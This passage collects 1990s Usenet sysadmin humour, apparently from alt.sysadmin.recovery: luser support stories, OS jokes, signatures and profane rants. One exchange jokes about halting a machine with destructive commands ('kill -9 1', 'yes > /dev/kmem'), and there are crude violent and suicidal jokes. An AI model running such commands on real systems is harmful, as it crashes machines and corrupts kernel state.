run Nyetscape without it complaining. The X server is a 486 running an outdated Slackware Linux. My boss keeps on saying something about an SGI coming into the office, but he's been saying that for a while. (Hi, Avi!) At home's not any better. I have a 386-33 at home, running DOS and Win 3.1. (The crowd shouts, "Why not run Linux or {Free,Net}BSD?" On 120 MB of disk? Right.) My boss keeps on saying something about putting together a Sun for my home, but he's been saying that for a while. (Hi, Avi!) And have I mentioned that I just gave my SO an account and turned her into a USENET junkie? Now we're fighting over the net connection. It's not a pretty sight. William ----------------------------------------------------------------- You think you've got it bad? We have to cope with both Sysadmins _and_ Lusers...... > >At work I have a SPARCstation 20 on one side of my desk (*love* that 21" > >screen), a DX4 100 (WIN95) pc on the other side (can't win them all) while > ^^^ Like you want > Windows on all of them???????? Are you INSANE??? We have a DX4-100 at home, and Windows has been relegated to second class status on the machine. It's mostly running OS/2 which, while far from perfect, is nevertheless much closer to a *real* OS than Windows will ever be. The only reason I even leave the DOS stuff around is to play games. One company I was at, the cleaner used to come in during working hours (yes, I know that *all* hours are working ones. 9:00am-5:00pm then...). One day, all the terminals attached to the main development box hung. A deathly silence came over the office. Then the sound of the Hoover broke the spell. The cleaner had just pulled the plug that supplied the main system's cabinet, to allow her to vacuum. That wasn't the reason we killed her and stuck her head on a pole near the entrance though. It was because it was a double socket with only one thing plugged in... :Yeah, but these days their policies are so similar the only way you :can tell the difference is that one party shags loads of people and :sells weapons illegally and the other doesn't (although this might be :cos they're ugly and don't have any weapons...) Fortunately I managed to spit the coffee back into the mug rather than over anything else. I really don't think the 'puter needs any more encouragement to fail, as it's blowing a right gale outside, and the lights keep flickering. I'm just waiting for my 'puter to cra -- Sean B Purdy, system administrator sean@fastnet.co.uk Telephone: +44 (1273) 675314 Fax: +44 (1273) 621631 FastNet International Ltd - The User-Friendly Internet Provider +++ ????? +++ Out of Reincarnations Error. Redo from Start. -- Sean Berry is an ISTJ cellist who plays with netbsd. I imagine someone is likely to misinterpret my opinions as those of my various employers. This is not the case. ObASR Just managed to aquire a case and monitor to go with my motherbaord and memory at home. Borrowed my parents car and the damn security guard wouldnt let me out fo the building with a banged up old XT that has sat under someones desk for 6 months! Sad really so I have to go through massive buracratic hoops to get official "approval" to take equipment home. My god what a nightmare! The really silly thing is that I could easily walk out with stuff worth thousands of times as much in my pockets and no one would even notice. AAAGGGHHHHH!!! On a completely unrelated subject (honest), ever have tech support that are clueless? Ever have this happen so much that you just ring up so you have someone to vent at? Ever have tech support where even as you explain the problem you know you'll have to fix it yourself and it'll take longer to explain the solution to them and really they ought to be paying you? (That last paragraph to be said without stopping for breath, and with a manic glint obviously) > >"What has an arm and 4 legs" > > "A happy pitbull" Brand new keyboard, noseful of fanta, quick swivel to the left. Whew. I really hate to burst your bubble, but the latest scientific evidence indicates that clueful users, (homosapien unixien) evolved from the lower lifeform known as lusers, (homosapien HomerSimpsonien). If we go back and wipe them out, we will be destroying ourselves. Not to worry though, They will soon die out as computers become more and more commonplace due to their inability to adapt or evolve. > Can' see what I'm typing when I use netscape > mail or Netserch. Eleven possible answers: 1. Yes, you really are blind. 2. You're not blind, but you have your eyes closed. 3. The monitor is switched off. 4. The brightness is turned way down. 5. The monitor is fine, but the computer is switched off. 7. What happened to 6? 8. The monitor and computer are both working, but you're looking in the wrong direction. 9. A solid object is between your eyes and the monitor. 6. Ah, there it is. 10. You are synaesthetic, and should be trying to smell what you are typing. 11. You see what you type, but it's so traumatic that you suppress the memory of it. -- http://www.domino.org/~meta/ I global kill '!!', '$$', '??', '**', '>>', 'please read', 'FREE', all-caps subject lines, and postings with 'From' lines which don't contain Internet addresses. ---------------------------------------------------------------------------- _/_/_/_/_/ _/ _/ _/ Rob Blake _/ _/ _/ [Overworked PhD student (Danger! Irony chip overload)] _/_/_/_/_/ _/_/ _/ Quote of the week : "Men will never be free _/ _/ _/ until the last king is strangled with the _/ _/_/_/ entrails of the last priest." ---------------------------------------------------------------------------- : Okay, I've heard before that you call them "bum bags" but what exactly is : so bizarre about "fanny packs?" Tee hee, giggle giggle. UK fanny = US unmentionable girly bits. ^^^^^^^^^^^^^ Hardly..... I love it: "Gimme a fanny pack!" "Yes sir, would you care for a box of tits to go with it?" Almost like the "Waiter! Give me a bloody steak!", etc. And the "Fanny Farmer" cookbook also takes a bit of a twist... ----------------------------------------------------------------------------- * * It's: "SPLAT - MY CAT!" -//-//-_ +>\ --__ Slower than a speeding Landrover 110. Much slower. +>/ _------__ Mortally slower, one might say. Rest in Pieces. -\\-\\-- drh92@aber.ac.uk (Dan Holdsworth) * * Ministry of Silly Walks, Aberystwyth ----------------------------------------------------------------------------- >> BOFH ENTP sysadmin: solves disk space problems by doing a backup, >>deleting files which haven't been accessed in a week, and seeing >>who complains. >You seem to have misselled "not doing a backup". ESFP. As well as 'ignoring those who complain' >>I prefer halt myself.. >wuss, kill -9 1 Naah... yes > /dev/kmem OBLuser: Due to an "upgrade" of a faultreportprogram, the Reflection users needed a new config file for their PeCe's. This file was 1) distributed to all teamleaders, 2) made available on floppy or ftp, 3) a BIG message at logintime told that the program was unrunnable unless they had installed the config file and 4) do NOT call the SA (ie me) if they had problems with their keyboard mappings. 08.00 in the morning after the upgrade the phone rang (again and again and..) /joakim ------- Currently at large since his escape from the center for the morally challenged > Because NCSA Telnet for the macintrash has broken key mappings. >Or rather, their key mapping makes sense to idiots, and no-one with a >clue can figure it out. One for the excuse list, "we couldn't do it because it only makes sense to idiots and no-one with a clue can figure it out" I have to delurk myself to jump on the sysadmin-through-violence thread. This weekend a hard drive fell prey to the IBM stiction pandemic. I have scars on my hand from punching the thing. I was this close to taking a hammer to it. And then management had to brighten my day with one of those "What do you do all day, anyway?" ordeals. Note to self: I am not bitter. Yea, right. When that phone rings, I cringe because I know I am going to hear one of the following two things: 1) My Eudora's broken. 2) How do you make Netscape show movies? Every now and then a real question slips through, but I think it's some weird side-effect of IBM's teleportation experiments. -Kurt, a might more than peeved at the idiots in government (as opposed to the idiots not in government.) *sigh* What the fuck is this shit-headed "Communications Decency Act" bollocks about? If some dozy fucker wants to fucking well get in the way of my basic fucking human fucking right of free fucking speech, for fucks sake, he's gonna find his fucking ass on the wrong end of a fucking howitzer. So there. Fuck. Carl Schelin "Optional, Desperate, Feral, and Single" Hobgoblin Software - George Gilder Hobgoblin@interramp.com "Yep, Nope, Perhaps, and Finally" - Me All the Macs in that lab are named after regular polygons (pentagon, hexagon, heptagon, octagon, nonagon, decagon...) and so I figured 'unadecagon' (11 sides) was the natural choice. Especially since I doubted they'd let me use 'pieceofshit' or something similar. [sigh] None of the other Macs do this. This 7200's out to kill me, I'll have to beat it through its head that *I* am the master. Sometimes the new machines need to learn the hard way. [clickety click] > ObBWFH: We modified our 403 error last week. Two bottles of Jim Beam and > a six of Guiness were, in fact, involved. Try it: > http://satanic.org/~lilith/nope/ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Just took a look at this. Lillith shame on you! Do you have any idea how hard it is to clean *hot* coffee off of the keyboard and monitor? =) >>>>>The local SuperCrown book store is carrying "Sex for Dummies" - same >>>>>garish yellow cover and all. >I'm just waiting for "Writing your own 32-bit operating system in assembly for >dummies." Ask Microsoft for a copy... %% ObStupidSoftwareSupport: My wife's new Spanish software won't record her voice. The techie at support said, "Does Windoze's Sound Recorder record?" No, I said, I can read the troubleshooting section. "Did you reinstall the sound card s/w?" Yes, I said, I can *read* the troubleshooting section. "The mike must be dead, or plugged into the wrong jack." No, I said, I tested the mike with the Voice Assist software, and the mike is just fine. "Well, we just don't know." Well, I just guess you don't need my money too much, do you, tovarisch? %% >:And my name is Timothy *not* Tim! *sigh* >And my name is Michael *not* Mike! *sigh* And my name is Ian *not* Whyisntthisworking! *sigh* Hah. You want a pubcrawl from hell, you want the King Street Run. Unfortunately, the next one is scheduled for about two years time. (five pubs going in one direction, three pubs on the way back, a pint (of bitter) in each, and any loss of drink through a bodily orifice prohibited for the duration). Current record stands at 14 minutes. CAR WARS. What other game has let you mount every weapon you ever dreamed of on your Pinto and let fly? Who hasn't felt the need for this, driving home after a long day of babysitting the damn' lusers? >I agree with your diagnosis but have a pause on the solution; I'd >recommend replacing the entire hardware and software setup with a 27" TV >and a VCR loaded with Barney Tapes. This seems to be about the correct >mind set for the average luser;) Unfortunately there are a contingent of fundamentalist lusers here who think that Barney is Satan, anti-family, etc. because dinosaurs never existed because evolution never existed ... You get the idea but it should all be in caps (but I can't bring myself to do that). We do have TVs in our office and it is interesting to note that the biggest lusers are the ones who have conversations with the TVs. (A luser characteristic?). %% ::I have done what they said could not be done. ::I've gotten Linux to boot on my Thinkpad. :I have done what they said "Why on Io would you want to do that" about. :I've gotten Minix to run on my Olivetti Quaderno[1] palmtop. :So now I've a Un*x-alike workstation that weighs 1 kilo, and can run on six :AA batteries. I can tell you how I did it... I'm just not sure why I did it. I'd say that you are in denial about what species you are, and wish to prove that the human brain as possessed by *true* humans is in fact capable of truly incredible feats. I'd predict that pretty soon you'll set up a talk daemon called "Nethelp" and link it to a copy of Eliza, and log the results. This should then be taken as conclusive proof that there are in fact two species on campus, ie Homo sapiens, known for its intelligence and problem solving ability; and Pan nonsapiens [1] known as the common Luser, incapable of ever getting a clue. %% (BTW, as I'm sure everybody really knows, emacs is in fact an acronym standing for Escape-Meta-Alt-Control-Shift being one of the more basic keystrokes required before they wimped out and put menus everywhere) : Exactly. He should install OS/2, like the man said. Bad sysadmins! No chocolate! I thought the one place on this Usenet where we were safe from OS Advocacy was ASR, where everybody hates everything. riffer@afn.org : "I guess test-flying F-20 Tigersharks at Mach 3 all day Jeff The Riffer : has rattled my good manners..." Drifter... : --Bloom County Homo Postmortemus : ObCoolErrorMessage: A few weeks ago, one of our central servers was broken into and the memory ripped out. These guys didn't unplug anything, just attacked the back of the machine with a pair of wire cutters. The last message on the console (a VT320 which they didn't attack) went along the lines of "WARNING: Power loss detected". Not bad considering it isn't on an UPS! (OK, so when he said freight-type UPS above I thought of power-supply type UPS. So sue me.) >> And people wonder why I get gold stars... M> ...and birds circling your head. Banging your head on the underside of M> a desk is the usual reason. Nah, in my case it was ramming my shoulder into one of those doorknob-levers-used-to-make-the-door-handicapable while pushing a box full of about 40 pieces of Zoom-equipment-I-shall-call-modems-only-in-the-broad-sense-of-the-term. -- == Karl Wiebe == karl@dnai.com == "Order is a form of repetition compulsion" --Freud "Order is a form of repetition compulsion" --Freud "Order is a form of repetition compulsion" --Freud : During the time I've lived up here north of the border, I've come : to believe that the defining characteristic of Canadians is that : they will do *anything* to avoid being mistaken for Americans. Canadians will do anything AT ALL to avoid being mistaken for Americans. This includes actually developing patriotism (scary stuff, which we try to avoid as much as possible) when they head south of the border, and being friendly and polite to strangers (if you're in a mixed crowd of Canadians and Americans and you want to find Canadians, just bump into people until you run into one that apologizes for being in your way. That's the Canadian. That assumes you don't mind being shot by the Americans). Canadians get very VERY upset when you accuse them of being American. If you want to get, say, a government bill, to die and never show up again, you merely have to SUGGEST that it'll make Canada a more American place to be. : :Canadians will do anything AT ALL to avoid being mistaken for Americans. : Heck, ANYONE would. If I wasn't actually an alien, I'd resent that remark :) panic("bad_user_access_length executed (not cool, dude)"); ObLuserRant: Gotta love it when your lusers whine that you are depriving them of their "right" to net [read: irc] access when you close their account cause they were using it for illegal purposes.... Mike "They'll get me to stop using VIM and LaTeX when they pry them from my cold dead fingers" Handler Personally, I don't think drugs should be legalised. I think they should be compulsory. It would certainly help when dealing with lusers (let's face it, there's very little that could make the experience any worse). Douglas R. Floyd Disclaimer: What, me speak for my employer(s)? Yeah, right. If you know what you are doing, you are not making progress... %% Warning: Any resemblance between this fictional piece and a real person is most certainly accidental. *ring* *ring* "Hello! Local ISP, how can I help you?" "Well, I was sorta hoping someone could walk me through taking a leak" "Okay... well, do you have to go now?" "Yes, I do" "Okay... well, are you on male or female equipment?" "MALE-CLONE..." "Okay, the first thing we want to do is find your fly.." "My what?" "Your fly... it opens your pants. It should be in the front of you. Look down" "I see shoes" "No, sir... look sorta in the front of you... like just below your stomach. You should see some metal on your pants. That's your fly.." "The round thing?" "Well, that's your button... let's open that, too, while we're down there. The fly looks like alot of little metal things sideways" "Oh, okay.. got it. Okay, it's open.." "Okay, sir... can you grab your willy?" "No." "Do you see your willy?" "No." "Okay... what do you see?" "I see white... just white and some lines.." "Do you have underwear installed?" "No." "Sir, if you can't see your willy, and you see only white... I think that you may have underwear installed. We are going to have to uninstall your underwear to take a leak...." "Well, my friend was the last one to use my fly... he might have installed underwear..." "Okay, sir... well grab the white part and pull down... keep pulling until you see your willy.." "It's stuck... it won't go down..." "The white part? Or your willy?" "My willy..." "DON"T pull down on your willy, sir... just the underwear... we only want to get to the point where we can see it...." "Oh... okay, we're there...." "Okay... now look around the room... do you see anything made of porcelain?" "I see a little penguin on a shelf ..." "Okay, sir...you're in the living room.... go to the bathroom. We can't take a leak until we are in the bathroom. The bathroom will have alot of tile, maybe some carpeting... yours might have mirrors or some soap in it. Some people have showers in their bathrooms..." "Well, I'm downstairs... I think the bathroom is upstairs..." "Okay, well... let's go upstairs..." "I can't walk..." "Okay, sir... temporarily reinstall your underwear... then go upstairs.. then uninstall your underwear again..." "That was the white part, right?" "Yes, sir... that's correct..." "Okay, I'm upstairs..." "Okay... now do you see any porcelain bowl-type things?" "Well, there's two..." "How tall are you sir?" "5'4" .." "Okay... go to the one where it's lower than your willy...." "Okay....I'm there" "Okay... now make sure that you are pointing toward the porcelain bowl.. now just go.... " "What do you mean?" "Well, when it pops up... just hit "okay"....." %% Ok, so it's not terribly sysadmin related, but I am a sysadmin, and it was, as you shall soon read, a bad weekend. And there's a sysadmin ending to it. For those of you who, like me, don't have a TV among your worldly posessions, (I'm a Linux junkie; who needs TV?) there was a major ice storm across the southeast this past weekend. Phone is ringing off of the hook on Friday, but at 1PM I walk into my boss's office and announce that I am leaving, as they have just closed every Interstate within 150 miles, I live 30 miles away, and my route home covers three Interstates. Two hours later, I get home. To my apartment. Which is at the top of a 400 foot hill with a 25^o incline (degrees, for the uninitiated.) I surge up the hill and to my apartment, skirting the edge of our friendly little 400 foot sheer drop off of the side of Mr. Hill. Friday passes. Saturday passes. Pipes freeze, no water. Saturday night, I have drunk all of my Diet Coke, eaten all of my food, and defrosted all of my ice cubes and drunk those as well. Later Saturday night, I smoke my last cigarette, so it is now officially an emergency. I must get to the store. I spend 45 min trying to dislodge enough of the glacier which has encrusted my car, so that I can see a small portion of the road. I start off slowly. The front of my building has two stories visible. The back has the top story at ground level. My car is around back, so I must first navigate the 15 foot hill before I can get to Mr. 400-foot Hill. I think that you can see this coming by now. I start down Mr. Little Hill, and my car isn't turning. In fact, it's accelerating fairly rapidly, despite my masterful pumping brake action. Whammo, into Mr. Concrete Wall, which saves me from the aforementioned 400ft Mr. Sheer Drop. 30 seconds of fun at $180,000 per hour. You do the math. Sunday comes, and I am now dying of thirst, not having had anything to drink in 24 hours. I walk 3 miles to the store, and back. Sunday passes. Monday, Mr. Big Hill is still iced over, so the boss gets a call. "Me? Coming in to work? Today? HA!!! Think again, buddy!" Monday night, 6PM. Todd goes to sleep exhausted. 9PM, Todd half awakens, thinks he hears something. Decides it's just his floor heater, goes back to sleep. 11PM. Todd is still asleep. Dreams that he is at a bar with Chuck Yaeger, Genghis Kahn, and Margaret Thatcher. Todd is drinking them all under the table. Todd becomes aware of more noise, awakens. Todd reflects on the fact that he was having a wierd dream, which usually means that there is trouble out in the real world. Todd sits up. Todd looks around. Todd's room looks like a Dali painting. The floor, it's a wierd color. And there are things on the floor. And they appear to be floating. And they are floating. Because Todd's 5 inch tall fouton in lying in 3 inches of water. Todd jumps up and runs to the bathroom, where Todd takes his first shower in 4 days. Niagra Falls has diverted through my ceiling. I run around outside, where it is 5^oF, and my bare feet stick to the ground. I awaken my neighbor, who known where the main valve is, and I try to get as much of the water flow as possible going outside and away from my bed and stereo (my only two posessions in the whole apartment, neither of which has yet been soaked, but both of which are perilously close.) An hour later, my ice encrusted feet have thawed in his living room, and he offers to let me sleep on his couch. I thank him, decline, and get in my car, with the intention of going to the office. Instead, I stop off at a hotel and blow $40 on a shower and a warm (and dry) bed. It was worth every cent. I don't get a wink of sleep, but I do get into the office this morning, my car smashed, my apartment probably encrusted in its own layer of ice, my college tuition fund (aka, Mr. Checking Account) hit in the solar plexis, and my life a big pile of dog (EXXON), and I go to read my email. Message #1 is from someone, not one of our customers, whom I have never heard of before. "I have a Win95 box and a Linux box. They can't talk to each other. Tell me what I need to do." No "Dear Mr. Lewis," no "Sincerely, Jim Luser", not even any decent information, just "How do I fix it?" AAAAAAAAAARRRRRRRRRRRRRRGGGGGGGGGGGGHHHHHHHHHH! And the worst part is, I wrote him back a polite letter asking him to introduce himself, and then I'd answer his question. CURSED BE THE GODS!!!!!!!!!!!! (I'm a Christian, so I can say this in good conscience, as it is a presumptively polytheistic damnation.) CURSED BE THE GODS!!!!!!!!!!!! There, I feel a little better. Todd Lewis %% >"I have a Win95 box and a Linux box. They can't talk to each other. >Tell me what I need to do." "Bring them to a mixer, and introduce them. They won't get along perfectly, but they'll agree to work together." How about (yeah, I know, I'll also email this too) "When Death DOES take a holiday, he's the BOFH at Death dot Net" %% If you worked at Norwich Union you'd have the "Goat Blower" sticker on your terminal now. (This is stuck on the terminal of the person who has most recently done something stupid - like the cow-orker that shutdown the wrong server by accident and didn't notice until it said "connection closed" - anyway, you are then known as Goat Blower until someone else does something really dumb) Every place with techs should have something like a Goat Blower sticker. Keeps people on their toes and it's funny. Funnier if you can get them to answer the phone with "Hello, distributed computing services, Goat Blower speaking - how may I help you?". Obviously the chances of this are low since noone is that polite, normal answers would be "Ask someone who cares", "RTFM", "JFDI" JFDI is descended from OS/2 (specifically OS/2's habit of asking you whether you're sure 4 times before doing anything). It means "Just Fucking Do It". %% Okay, this *MUST* be the luser of the week!! Here's the conversation I had with luser on the phone ME: Hello?!? LUSER: They keep logging in! ME: Yes? (thinks: That's what lusers are for) ME: Who exactly? LUSER: The security team! ME: Well, should you have given them accounts? LUSER: That's the point, they don't have accounts! ME: Tell your lusers not to give the security team their passwords LUSER: Passwords? C|N>K ME: They don't have passwords? LUSER: The MD sez it's easier to log in without them. ME: Does he? So what do you want to do? (thinks: Oh no, not again) LUSER: We want to stop the security team logging in ME: Give your users passwords! (thinks: Anus!!) LUSER: But, but, but...... Isn't there an easier way? ME: No (thinks: Turn your bloddy computers off & don't let *anyone* log in) LUSER: Oh.... Do *ALL* the users need a password? ME: YES!!! LUSER: Even root? ME: *click* The above story is true. Names have been changed to protect the twats^H^H^H^H^H ignorant. If you are in doubt about the authenticity of this story then a recording can be supplied. ;-) Must finish - I feel a coma coming on!! >>>(thinks: buggerdamnshitsodfart) >> ^^^^^^^^^^^^^^^^^^^^^ >>C|N>K - I don't know why this struck me as being so funny. Maybe it's >>the lack of sleep or something. But thanks for making my otherwise bland >>day fun. >The canonical form is 'fuckshitbollockstitsfannyarsewank'. Ask Mratni >to sample it for you. fsbtfaw is the standard short form. My girlfriend was impressed when I belched the full form of the expression (and still had wind left over). She's understanding like that. M(ratni - got bored of typing Martin one day and it stuck) %% I have a webmaster address (not on magicnet), and the web page used to read, at the bottom: "Questions or comments about this page should be sent to Web-related questions or comments to..." Which caused the following to appear in my mailbox, from someone who is NOT on our service (he works for some gov't agency): > "Hay. What web editor do you use?" Being in a good mood, I graced him with a response: > "I prefer vi. It's one of my favorites." A few hours later, in the mailbox: > "Vi? Never heard of it. Can you tell me who the maker is? I use hotmetal." After the C|N>K ritual, and laughing for several minutes, I decided that the webmaster address should be taken off the page entirely. %% -- no sig too small This morning, on my way out of the shower, I glanced at the clock in the living room, and thought "I wonder how much out of sync that is with the clock in my bedroom. You know, I should run xntp on all my clocks." -Kurt "What do you mean this clock doesn't have a network interface?" You know you've been hacking too long when ... You lie in bed sleeping listening to the cicadas (large insect thing that makes a clicky noise bit like a grasshopper), and you decide the noise sounds like the clicky-clicky noise of an Indy booting up ... >: Will I never be content? >I have been working on cgi-scripts too much lately. Really. I had to read >the last line 3 times before realizing it had nothing to do with >Content-Type: text/html I dunno what it is about HTML- I just started working with it, and for the first few nights I was *dreaming* HTML tags. Weird. %% New position available for up and coming Web Master! This position will be coming available as soon as this email is done and I have time to suck down this .44 magnum bullet. Your responsibilities are based around taking every Luser email/phone call that contains the word "web" in it somewhere. Your co-workers here seem to have an amazing version of ESP with 'grep' built-in where they can see a web question coming a mile away. This basically means that you will answer every damn call cause everyone thinks that the internet is the web and vice versa! "Yeah I am having trouble with my Eudora Web Reader!" The call that is opening this position goes something like this: Luser:"Yeah I need to talk to someone at your FTP site so I can update my web page..." Me:"Uh, what?" Luser:"Yeah I need to use FTP to make some changes in your database so I can fix my web page so it reflects the changes I have made to my database." Me:"Uh, hmmmm.... Hold on", , drink coke, read another post, ,"Ok lets try this again." Luser:"Yeah I got the database program open for my web page. What remote do I need?" Me:"Try cypress.idir.net and login with your username and password". Luser:"You mean my email address right?" Me:"No username" Luser:"Thats the me@idir.net right?" Me:"No that is your email address." Luser:"Ok so I want to use that right?" Me:"NO! Use your username everything up to but not including the at sign!" Luser:"Oh ok the me part. Ok and the password is my email address." Me:"NO! Your password is your password." Luser:"But on anonymous database retrievals..." Me:"No! The password is your password. Hold" , Drink coke, cry, , "Ok." Luser:"So the intial directory on the database needs to be set to ~me/ right? Cause my web page is: http://www.idir.net/~me/" Me:"Yeah I know your web page address (IT IS MY JOB TO KNOW!). If you login with your user name and password it will put you in your directory." Luser:"Oh ok so the initial directory is ~me/password?" Me:"NO! No initial directory!" Luser:"Do we have a firewall?" Me:"No." Luser:"Back it asks for one" Me:"No it does not, you can leave it blank." Luser:"I want anonymous login right?" Me:"No! You want to login with your username and password!!!!" This continues for about another 100 pages (approximately a half hour). The moral of the story is this: Titles suck (unless it is The Guy Who Doesn't Take Calls). People always ask for the webmaster cause they think I know something more about things than any other tech. The other techs get to sit back and laugh while I have to take these calls about updating databases on the FTP server for a web page. So sign up for the position today, for now I am off to dig up a .44 magnum to open up the position. %% Never, ever, ever,_ever_, EVER, underestimate the cow-orker's ability to totally go fscked on you. The following conversation occurs between myself and a cow-orker, as we discuss various ways to get dialled in to work from home... CW: ...So, you have SLIP configured at home, right? Do you use winsock, and stuff? Is it hard to set up? ME: Nope, I use Linux and dip... CW: I've heard of Linux. What exactly is it, anyway? ME: Oh, it's just a unix clone for x86 boxes. interacts a lot better with our unix tools here, anyway? CW: So, can you do, like, telnet, and stuff using Linux? And netscape? ME: Yup. You also get better multitasking, IMHO, and X let's me export our GUI apps to home, albeit slowly... CW: So, it's a lot like having a workstation at home. ME: Yup. Aside from the 'little things' like different sysV and bsdisms between HPUX and Linux, you still basically have a unix box at home, no different from your workstation on your desk. [The 'bsdism' phrase must have done it. I pushed too far. Sounds of paradigm shifting, without a clutch.] CW: Cool. So, does this Linux run under DOS? Or do you need Windows? Y'know, I like this guy. He helps me out explaining stuff in testing, and has saved my butt on a few occasions, simply by having the prescence of mind to automate tests we run. He's a Damn Fine Verification Guy. But, man, he is a luser.... %% User: "Can you reset my password? I think I've forgotten it." Me: *grumble* Okay, no problem. I can do that. So I update the NIS password file, reset User X's password to the system default. Me: All right. I've reset your password to the system default. (a few minutes pass) User: Are you sure you set it properly? I still can't log in using the default. Me (grumbling even more now): Let me go take a look at your problem. (I walk over to User X's machine) Me: Will you look at this? The CAPS LOCK key is on. User: Oops. It's times like these when I *know* I should have majored in recreation and became a park ranger in the middle of a desolate forest. %% > It's times like these when I *know* I should have majored in recreation and > became a park ranger in the middle of a desolate forest. In alt.park-ranger.recovery, Mit Nivri wrote... > User: "Can you help me find North? I think I've gotten lost." > Me: *grumble* Okay, no problem. I can do that. > So I take his compass, shake it, and it appears to be working. > Me: All right. I've reset your compass. > (a few minutes pass) > User: Are you sure you set it properly? I still can't find north. > Me (grumbling even more now): Let me go take a look at your problem. > (I walk over to User X's campsite) > Me: Will you look at this? Your magnetic canopener is stuck to the back > of your compass. > User: Oops. > It's times like these when I *know* I should have majored in computers and > became a system administrator in the middle of a busy network. %% > (with two cats who have discovered how to turn on my stereo[1]. I > wonder what else they do while I'm at work) > [1] The scary thing is, they seem to always pick the Guns & Roses CD > _Apetite for Destruction_ to play. I'm starting to worry. You gotta admit, Axel does sound kinda like a screaming cat on there.... Trevor Fiatal ----- tafiatal@ac.net ----- Internet Engineer, ISP Consultant "Get drunk? Who has time to get drunk? There's 90 messages in the support queue, the news server has run out of disk again, every user with Trumpet f***ing Winsock is reporting connection problems, and I haven't slept in 3 bloody days. Yeah, now that you mention it, I *could* use a drink..." Alphanet ------ A Full Service Internet Something Or Other in Pinehurst, NC I have a whole list of such acronyms lying around somewhere from an 87 EUUG meeting. Some of the better ones, according to memory: ls - let's see df - disk full /* steady state of Unix filesystems, y'know */ vi - virtually intuitive vi - very inadequate vi - violates intuition ed - expletive deleted patch - please apply this clever hack cb - create bug /* this wasn't on the list, but it does...*/ and in the error code department, the one that had me in stitches was: EIEIO /* ...and a bug, bug here and a bug, bug there... */ Soon we seem to be needing ERECTION /* CDA violation, call the feds... */ - m.a. who will utterly refuse to die until he's hacked the relevant parts of Minix into GNU Emacs just so he can boot up a box straight into Emacs. yes, i'm a pervert; what about it? > Of course, that's usually to tell the characters that they're > being morons. In addition, I throw things at them (soft, cushy things so > I don't break the screen). Kind of a home "Rocky Horror Picture Show". Doesn't everyone yell at the characters on X-Files to "Turn on the damn lights!!!!"? I would siggest host.domain.. :) Then get the username 'user' and see how many new unixusers there really are. :) > : -- > : Jim Anderson (612) 782-0456 > : AOB Acquisition Corp. jim@aob.mn.org > : 3800 Apache Lane NE Lucifer designed MS-DOS to try men's souls. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > No, he didn't. I asked. He denies any involvement. I had a quick chat, he says "Even I'm not that big a bastard" Aziraphrael denied all responsibility as well. Funny, they both claimed responsibility for Milton Keynes though :-) ---------========== J.D. Falk =========--------- | "INIT_THOUGHT caused a general protection fault in module CORTEX.DLL | | The offending module has been shutdown and removed." | | -- Ted Coady | ----========== http://www.cybernothing.org/jdfalk/home.html ==========---- >(1) ...unless you're referring to what Unix often does to lusers who >*think* they're power Unix users. Walk in to a dark room. Reach over to the light switch. Turn it on. Congratulations. You are now a power user. Sorry. Had to be said sooner or later. =========================================================================== Collin Logan Disclaimer: If I offend anyone, so what. My employer's got money to burn. --------------------------------------------------------------------------- "There is no safety this side of the grave." --RA Heinlein >lot of his monkishness.. I can do more with my home dx2/66 than most >"mortals" with pentiums can imagine.. Hmm... recompile a kernel, play doom, and have nutscrape open -- along with the standard legion of daemons. On a dx2/66 with 16megs physical, and 32 swap. I defy someone to do the same on a 120MHz pent running a bill$hit operating system. : can't have 12 Megs of RAM. Nothing ever has 12 Megs of RAM." Hahaha! We're looking to buy a PC from . We want 24MB of RAM in it (ie 2x8MB + 2x4MB EDO SIMMS) Us : '...24MB of RAM...' Them : 'I'm sorry but you can't have 24MB in a computer. You'll have to have either 16MB or 32MB' Us : 'But we've _got_ one of your machines that you sold us last month with 16MB, and we've put another 8MB in it. It's running with 24MB _right now_' Them : 'Well we only supply standard hardware, and you can't have 24MB' Us : 'Can you ship it with 16MB and send us an 8MB->16MB upgrade ?' Them : 'err...yes' [sudden burst of suspicion] Us : 'The upgrade _is_ a pair of 4MB SIMMS, right ? And there _will_ be two spare SIMM slots on the motherboard, yes ?' Them : 'What's a motherboard ?' *click* %% From: lwall@netlabs.com (Larry Wall) In article <4f16bo$ok8@wave.news.pipex.net>, Timothy J. Hunt wrote: : If we are quite and make the mating call again, we may be lucky enough : to see one again. Please, no flash photography, we don't want to : frighten him off... : : Perl! Perl!.... Perl! Perl!.... rustle, rustle, rustle... flutter... ... swish... ... chirp... rustle... ... ... POUNCE!!! thrash, thrash... ... munge, munge, munge... %% Peter Jackson * Life's a BETA, http://umbc.edu/~pjacks1 * pjacks1@gl.umbc.edu * then you crash.... pjackson@aclu.org * -- incubus@satanic.org | Satanix: OS for the next Millenia Access failed: Abort, Damn, Kill, Destroy? | http://satanic.org/beer ObASR: I am writing this from a windows dial-up session, while downloading a 3 meg file in the background. Over 14.4. It took about 10 minutes to type 10 lines. My gig drive for Unix is on its' way... >You forgot the PC RT. HUTWRTA[1] "PC Re-adjustment Tool" Sounds like a good idea too. Where can I get one from? [1] "Hands Up Those Who Read This As" Netspace, the final frontier. These are the voyages of the USS Delete. Its continuing mission to seek out lusers and kill -9 their shells. To boldy do what every other sysadmin has done before. --------------------------------- Bryan C. Andregg, [] BOFH at Large... Internet Direct Communications [] Docs, Suspenders, Shaven Head Administrative Staff [] clickity, clickity, clickity : difficulties. I think the best incident I can remember was when one of : our hosts asked a football player (jock, not a friend) if he could : knowk him up in the morning and would he like a fag. God I was : blowing Bass out of my sinii for hours. Serves you right for shoving fish up your nose. <+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+> || Tony Harverson | GCS d++>-- H>H+ s !g p? au- a-- w+++ v++>--- || || Unix Admin | C++++ UB++++$ P+>++++ L-- 3+++ E--- N++ K !W--- || || Internet Support | M-- !V po Y+ t+ !5 !j R+ G' tv b++ D B---- e+ || || Person | u-(++) h!(*)>++ f+ r n--- !x+ || <+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+> Unix Rules all - Freebsd Forever :) ----------------------------------------------------------------------------- Eric L. Pederson | eric@winternet.com | eric@bofh.org.uk #include | http://www.winternet.com/~eric ----------------------------------------------------------------------------- %% >And alcohol, safe? Sheesh. Ever had alcohol poisoning? Alcohol >does heinous things to people who aren't judicious with its use. >Raise your hand, everyone, if you do NOT have a tequila story which >involves 